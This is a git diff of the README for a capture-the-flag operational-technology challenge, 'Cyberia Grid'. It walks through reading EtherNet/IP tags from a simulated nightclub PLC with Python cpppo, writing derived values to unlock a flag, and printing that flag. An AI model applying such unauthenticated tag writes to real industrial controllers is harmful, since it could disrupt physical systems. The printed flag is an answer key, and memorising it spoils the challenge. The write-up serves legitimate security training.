diff --git a/OT/Cyberia_Grid/README.md b/OT/Cyberia_Grid/README.md index 5098eed..0783ace 100644 --- a/OT/Cyberia_Grid/README.md +++ b/OT/Cyberia_Grid/README.md @@ -1,75 +1,136 @@ -# Cyberia Grid -- Solution +# Cyberia Grid -## Overview -EtherNet/IP server simulating a PLC at Cyberia nightclub. The controller -manages power infrastructure and contains hidden tags with encoded KIDS -experiment data. A write-triggered "Psyche Processor" reveals the flag. +| Field | Value | +|-------|-------| +| Category | OT | +| Difficulty | Medium-Hard | +| Points | 500 | +| Author | Eun0us | +| CTF | Espilon 2026 | -## Steps +--- -### 1. Connect and Enumerate Tags -Connect to the EtherNet/IP server on port 44818. List all available tags. +## Description -```bash -# Using cpppo client -python -m cpppo.server.enip.client --address HOST:44818 \ - 'Zone_Main_Power' 'Zone_VIP_Power' 'Zone_Basement_Power' \ - 'Sound_System_dB' 'BPM' 'Lighting_Main[0-7]' \ - 'KIDS_Subject[0-15]' 'Knights_Cipher[0-3]' \ - 'Psyche_Processor[0-3]' 'Psyche_Status' 'Decoded_Output' -``` +Cyberia is not just a nightclub. An industrial PLC controller manages the building power +infrastructure over EtherNet/IP. -### 2. Analyze Infrastructure Tags -- `Zone_Main_Power = 1`, `Zone_VIP_Power = 1` -- normal -- `Zone_Basement_Power = 0` -- basement is OFF (suspicious) -- `Sound_System_dB = 95`, `BPM = 140` -- `Lighting_Main = [255, 200, 180, 150, 100, 80, 60, 40]` +The previous owner — rumored to be connected to the Knights of the Eastern Calculus — +added extra tags that do not correspond to any physical equipment. -### 3. Analyze Hidden Tags -- `KIDS_Subject[0-15]`: 16 DINTs containing XOR-encoded flag data -- `Knights_Cipher[0-3]`: partial XOR key `[0x4B, 0x6E, 0x69, 0]` -- 4th byte is missing! -- `Psyche_Processor[0-3]`: all zeros -- awaiting activation -- `Psyche_Status = "DORMANT"` +Read the tags. Find the hidden data. The Psyche Processor awaits activation. -### 4. Derive Activation Sequence -The 4 Psyche_Processor values are derived from infrastructure tag values: +- EtherNet/IP: `tcp/:44818` -| Index | Formula | Value | -|-------|---------|-------| -| 0 | `Zone_Basement_Power XOR BPM` | `0 ^ 140 = 140` | -| 1 | `Sound_System_dB` | `95` | -| 2 | `sum(Lighting_Main) % 256` | `1065 % 256 = 17` | -| 3 | `0x1337` (hacker constant) | `4919` | +Format: **ESPILON{flag}** -### 5. Activate Psyche Processor -Write `[140, 95, 17, 4919]` to `Psyche_Processor[0-3]`. +--- + +## TL;DR + +Read all EtherNet/IP tags including hidden ones (`KIDS_Subject`, `Knights_Cipher`, +`Psyche_Processor`). Derive the 4-value activation sequence from infrastructure tag values +(BPM, sound level, lighting sum, hacker constant 0x1337). Write to `Psyche_Processor[0-3]`. +After one scan cycle, read `Decoded_Output` for the flag. + +--- + +## Tools + +| Tool | Purpose | +|------|---------| +| Python 3 + `cpppo` | EtherNet/IP client (read/write tags) | +| Knowledge of EtherNet/IP | Understanding CIP tag addressing | + +--- + +## Solution + +### Step 1 — Connect and enumerate tags + +Using the cpppo EtherNet/IP client: ```python from cpppo.server.enip.get_attribute import proxy_simple as device -with device(host="HOST", port=44818) as via: + +with device(host="", port=44818) as via: + # Read infrastructure tags + zone_main = via.read("Zone_Main_Power") + zone_vip = via.read("Zone_VIP_Power") + zone_bsmt = via.read("Zone_Basement_Power") # = 0 (OFF — suspicious) + sound_db = via.read("Sound_System_dB") # = 95 + bpm = via.read("BPM") # = 140 + lighting = [via.read(f"Lighting_Main[{i}]") for i in range(8)] + # = [255, 200, 180, 150, 100, 80, 60, 40] + + # Read hidden tags + kids = [via.read(f"KIDS_Subject[{i}]") for i in range(16)] + cipher = [via.read(f"Knights_Cipher[{i}]") for i in range(4)] + # cipher = [0x4B, 0x6E, 0x69, 0] -- 4th byte missing + psyche_st = via.read("Psyche_Status") # = "DORMANT" +``` + +> 📸 `[screenshot: cpppo client output listing all tag values including hidden ones]` + +**Observation:** `Zone_Basement_Power = 0` — the basement is OFF. This is the first hint +that something is hidden underground. + +### Step 2 — Analyze the hidden tags + +- `KIDS_Subject[0-15]`: 16 DINT values containing XOR-encoded flag data +- `Knights_Cipher[0-3]`: partial XOR key `[0x4B, 0x6E, 0x69, 0]` = `"Kni?"` — 4th byte missing +- `Psyche_Processor[0-3]`: all zeros — needs activation +- `Psyche_Status = "DORMANT"` + +### Step 3 — Derive the activation sequence + +Each `Psyche_Processor` value is derived from existing infrastructure tags: + +| Index | Formula | Calculation | Value | +|-------|---------|-------------|-------| +| 0 | `Zone_Basement_Power XOR BPM` | `0 ^ 140` | 140 | +| 1 | `Sound_System_dB` | `95` | 95 | +| 2 | `sum(Lighting_Main) % 256` | `1065 % 256` | 17 | +| 3 | `0x1337` (hacker constant) | `4919` | 4919 | + +> 📸 `[screenshot: Python calculation showing the four derived activation values]` + +### Step 4 — Activate the Psyche Processor + +Write the derived values: + +```python +with device(host="", port=44818) as via: for i, val in enumerate([140, 95, 17, 4919]): via.write(via.parameter_substitution(f"Psyche_Processor[{i}]"), val) ``` -### 6. Read Flag -After the PLC scan cycle (~500ms), read `Decoded_Output`: +### Step 5 — Wait one scan cycle and read the flag + +After ~500ms (one PLC scan cycle): ```python - flag = via.read(via.parameter_substitution("Decoded_Output")) +import time +time.sleep(0.6) + +with device(host="", port=44818) as via: + flag = via.read("Decoded_Output") print(flag) + + # Also: Knights_Cipher[3] is now populated: 0x67 = 'g' → key = "Knig" ``` -Also: `Knights_Cipher[3]` is now populated (0x67 = 'g'), completing the -key `"Knig"` which can also be used to manually XOR-decode `KIDS_Subject`. +> 📸 `[screenshot: Decoded_Output tag returning the flag after Psyche Processor activation]` + +### Key concepts -## Key Insights - `Zone_Basement_Power = 0` is the first hint that something is hidden underground -- The 0x1337 constant echoes the Operating Room challenge pattern -- The PLC scan cycle polling pattern mimics real industrial controller behavior -- Without authentication, anyone can read/write tags -- a common EtherNet/IP vulnerability +- The `0x1337` constant is a recurring hacker reference across the OT challenges +- The PLC scan cycle polling pattern mirrors real industrial controller behavior +- EtherNet/IP has no built-in authentication — anyone can read/write tags on the network + +--- ## Flag -`ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}` -## Author -Eun0us +`ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}`